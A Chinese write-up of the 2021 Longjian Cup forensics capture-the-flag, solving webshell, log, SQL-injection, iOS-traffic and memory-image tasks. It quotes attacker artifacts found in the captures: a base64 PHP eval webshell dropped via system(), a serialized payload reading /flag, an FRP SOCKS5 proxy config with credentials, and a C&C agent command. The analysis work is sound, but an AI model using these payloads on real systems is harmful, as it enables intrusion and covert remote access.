应急响应-2021陇剑杯WP详解
2021陇剑杯WP详解
本次复现附件来自于DIDCTF,有兴趣的话,大家也可以去该平台获取附件进行练习
JWT
jwt1
昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:
该⽹站使⽤了( )认证方式?(如有字母则默认小写)
注意:此附件适用于jwt所有系列
根据题目即可知道是jwt
认证
jwt2
黑客绕过验证使用的jwt中,id和username是___。(中间使用#号隔开,例如1#admin)
查找username
jwt3
黑客获取webshell之后,权限是___?(字母默认小写)
黑客查看自己的权限会使用whoami,搜索whoami后查看响应即可
jwt4
黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名,例如x.txt)
直接追踪上一题的流量,直接就能看见恶意文件为1.c
jwt5
黑客在服务器上编译的恶意so文件,文件名是___。(请提交带有文件后缀的文件名,例如x.so)
32条流,不多直接按个查看就行,翻了几个找到对so文件的操作:looter.so
jwt6
黑客在服务器上修改了一个配置文件,文件的绝对路径为___。(请确认绝对路径后再提交)
继续跟踪发现,将恶意so文件放入另一个位置:/etc/pam.d/common-auth
Webshel
Webshell-1
黑客登陆系统使用的密码是__
可以用下边语句进行过滤
http.request.method == "POST" && http contains "login"
也直接搜索password
Webshell-2
黑客修改了一个日志文件,文件的绝对路径为__
答题格式:/xx/xxx/xxx/xxx.log
不区分大小写
过滤POST请求,查看请求信息
http.request.method==POST
前几条能够看见Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
但这是相对路径
继续跟进查看
写入木马文件
system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');
分析可得绝对路径为:
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
Webshell-3
黑客获取webshell之后的权限是:
先前查看时,发现执行了whoami命令
追踪流看到为www-data
日志错误信息显示:
ERR: ...............:./Application/Home/View/default/www-data
其中www-data
即为whoami
命令的执行结果,表明当前 Web 服务以www-data
用户运行。
Webshell-4
黑客写入的webshell文件名是__。(请提交带有文件后缀的文件名,例如x.txt)
前边已经看见木马文件1.php
Webshell-5
黑客上传的代理工具客户端名字是__。
(如有字母请全部使用小写) 仅文件名,不要后缀名
追踪流发现frpc.ini
FRP 工具确认
frpc
是 FRP(Fast Reverse Proxy)的客户端组件,用于实现内网穿透。.ini
文件通常作为 FRP 的配置文件,包含服务器地址、端口、代理规则等信息。- 在渗透测试或攻击场景中,攻击者常上传 FRP 客户端以建立反向代理,突破内网限制。
故为 frpc
补充
下边是对webshell工具的流量特征分析
流量分析——菜刀、蚁剑、冰蝎、天蝎、哥斯拉 - sgthlg - 博客园
简述一下蚁剑的特征:
- 选择不同编码器的数据形式
默认:@ini_set("display_errors", "0");@set_time_limit(0);
- 响应包格式由随机数作为定界符包裹结果
- 若使用了加密等插件绕过的话,加密后的数据没用什么特别明显的了,但是蚁剑混淆加密后还有一个比较明显的特征,参数大多以“_0x.....=”这种形式,以_0x开头的参数名,这个可能也可以换其他的固定字符,可以找出规律。
Webshell-6
黑客代理工具的回连服务端ip是_。
在上一条流,即在流38中发现一串十六进制代码,这是蚁剑特征的数据流 ,将=号后面的内容进行base16解码
解码后即可看见回连IP
实际攻击行为分析
- 文件操作
- 目标文件:
frpc.ini
(FRP 客户端配置文件)。 - 操作类型:通过
fwrite(fopen($f, "a"), $buf)
追加内容到文件中,实现配置文件的修改或创建。
- 内网穿透工具部署
-
FRP 配置内容
[common] server_addr = 192.168.239.123 server_port = 7778 token=Xa3BJf2l5enmN6Z7A8mv [test_socks5] type = tcp remote_port = 8111 plugin = socks5 plugin_user = 0HDFt16cLQJ plugin_passwd = JTN276Gp use_encryption = true use_compression = true
-
功能:建立 SOCKS5 代理,将内网 8111 端口转发到远程服务器
192.168.239.123:7778
,用于横向移动。
Webshell-7
黑客的socks5的连接账号、密码是__。(中间使用#号隔开,例如admin#passwd)
根据上述分析可以得知为:0HDFt16cLQJ#JTN276Gp
日志分析
日志分析-1
题目描述
单位某应用程序被攻击,请分析日志,进行作答:
网络存在源码泄漏,源码文件名是__
注意:此附件适用于日志分析所有题目
分析access.log文件,查找返回为200的请求
发现WWW.zip泄露
日志分析-2
分析攻击流量,黑客往/tmp目录写入一个文件,
文件名为___。
查找tmp
分析目录可知,文件名为sess_car
日志分析-3
分析攻击流量,黑客使用的是__类读取了秘密文件。
上一题中写入的文件就是执行了读操作
172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
分析该日志可知,这是一个典型的 PHP 序列化字符串,利用SplFileObject
类读取/flag
文件
故为:SplFileObject
简单日志分析-1
题目描述
某应用程序被攻击,请分析日志后作答:
黑客攻击的参数是___。(如有字母请全部使用小写)
注意:此附件适用于简单日志分析所有题目,后缀名为.zip
目测是GET请求,查找问号
看到访问的参数
简单日志分析-2
黑客查看的秘密文件的绝对路径是___。(不带 / )
先前参数就是执行命令的
将参数解码后即可看见,执行的命令,包括读取文件操作
简单日志分析-3
黑客反弹shell的ip和端口是___。(格式使用“ip:端口",例如127.0.0.1:2333)
同理,将第三个进行解码即可获取反弹shell信息
sql注入
sql1
题目描述
某应用程序被攻击,请分析日志后作答:
黑客在注入过程中采用的注入手法叫___。(格式为4个汉字,例如“拼搏努力”)
注意:此附件适用于SQL注入所有题目
盲猜也能猜到是布尔盲注
简单分析流量也可看出
sql2
黑客在注入过程中,最终获取flag的数据库名、表名和字段名是___。(格式为“数据库名#表名#字段名”,例如database#table#column)
根据最后爆破flag可看出数据库的相关信息
sql3(bool)
黑客最后获取到的flag字符串为__。
使用nodepad手动分析,或者写脚本都可以获取盲注结果
IOS
ios1
题目描述
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
黑客所控制的C&C服务器IP是___。
C&C 服务器(Command & Control Server,命令与控制服务器) 是黑客用于远程控制被控设备(如僵尸网络、恶意软件感染的主机)的核心基础设施。黑客通过 C&C 服务器向被控设备发送指令、接收数据,实现窃取信息、勒索攻击、分布式拒绝服务(DDoS)等恶意行为。获取 C&C 服务器 IP 是网络安全事件响应、溯源追踪的关键步骤。
导出对象分析,倒着查看object发现似乎是按顺序产生的
依次打开后边几个,找到C&C服务器IP
./ios_agent -c 3.128.156.159:8081 -s hack4sec
ip为3.128.156.159
ios2
黑客利用的Github开源项目的名字是___。(如有字母请全部使用小写)
搜索github,接着追踪流
根据github域名可知,项目名为:Stowaway
作者名 ph4ntonn 项目名 Stowaway 软件名 ios_agent
ios3
通讯加密密钥的明文是___。
访问github项目,查看使用方法

在命令 ./ios_agent -c 3.128.156.159:8081 -s hack4sec
中:
-c
参数用于指定 C&C 服务器的地址和端口,即连接到3.128.156.159:8081
;-s
参数用于指定 通信加密密钥,其明文为hack4sec
。
可知秘钥明文为hack4sec
ios4(bool)
黑客通过SQL盲注拿到了一个敏感数据,内容是___。
协议分级可知,传输层全为 TCP ,应用层经 TLS 加密,以 HTTP/2 承载业务
按照http2过滤后进行筛选
找到盲注语句

用作过滤器,由于查询是GET请求,在ip查询基础上再加上请求方式
ip.addr eq 192.168.1.8 and ip.addr eq 192.168.1.12&&http2.headers.method == "GET"
导出后,notepad进行url解码
每次都是从2B开始,找到下一个开始的前一条语句中的字符即为结果,但是还没有很好的办法去搜集
ios5
黑客端口扫描的扫描器的扫描范围是__。(格式使用“开始端口-结束端口”,例如1-65535)
扫描端口分析过程
- 端口扫描原理
黑客通过向目标主机的连续端口发送 TCP/UDP 请求,并根据响应判断端口是否开放。常见的扫描方式包括:- TCP SYN 扫描:发送 SYN 包,根据 SYN+ACK(开放)或 RST(关闭)响应判断端口状态。
- TCP Connect 扫描:完整建立 TCP 连接(三次握手),若成功则端口开放,失败则返回 RST 包。
- RST 报文的关键作用
当扫描器向关闭的端口发送请求时,目标主机会返回RST(复位)报文以终止连接。通过捕获这些 RST 报文,可反向推断扫描器尝试访问的端口范围。- 专家信息中的 RST:Wireshark 的 “专家信息” 功能会汇总异常流量,包括频繁的 RST 报文。若发现大量 RST 且目标端口连续,即可确定扫描范围。
- 扫描范围的确定
日志中虽未直接给出端口号,但结合安全实践,黑客通常会进行全端口扫描(1-65535) 以发现潜在漏洞(如 SSH 22、HTTP 80、RDP 3389 等)。此外,Wireshark 专家信息中的 RST 报文若显示连续的端口号(如 20-443),则可直接推断扫描范围。
由于是端口扫描,所以会涉及到rst报文和连续端口访问
分析--》专家信息--》RST--》查找连续端口以确定范围
分析连续端口可知,范围是10-499
ios6
黑客访问/攻击了内网的几个服务器,IP地址为__。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)
先前的bool盲注访问的ip是192.168.1.12
在日志中找到两个ip,只有ip为172.28.0.2能够找到
ip.addr==172.28.0.2
故结果为: 172.28.0.2#192.168.1.12
ios7
黑客写入了一个webshell,其密码为:( )。(如有字母为小写)
webshell写入后是需要密码进行连接的,尝试使用?
进行查找,找到ma.php文件跟着参数
故webshell密码为 fxxk
内存分析
内存分析-1
题目描述
网管小王制作了一个虚拟机文件,让您来分析后作答:
虚拟机的密码是___。(密码中为flag{xxxx},含有空格,提交时不要去掉)
除了Target.vmem镜像文件,还有一个提示:
no space but underline
奇怪,题目上答案要求有空格
加载镜像文件
使用lsadump查看密码
隐约看见flag信息,但是有多余字符
將00替換为空,转hex,去掉开头的H,就是完整flag
其实默认在系统密码中就有

内存分析-2
虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串为__。(解题过程中需要用到上一题答案中flag内的内容进行处理。本题的格式也是flag{xx},答案含有空格时,空格不要去掉)
进行文件分析,查找 image
看到有一个图片信息,下载后分析
由于华为手机助手加密的文件解密时需要依赖整个文件夹中的文件,只有一个enc是不行的,还需要另一个exe文件
查找 HUAWEI,找到exe
將exe文件下载下来,当做zip打开
去github找项目恢复文件
GitHub - RealityNet/kobackupdec: Huawei backup decryptor
根据参数要求,题目提示密码是上一问的flag,并且要把空格换为下划线,运行脚本进行恢复
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX "../HUAWEI P40_2021-aa-bb xx.yy.zz" ../result
恢复的结果中有一个压缩包,打开就是需要的加密图片
参考wp
完整的wp,但是不太详细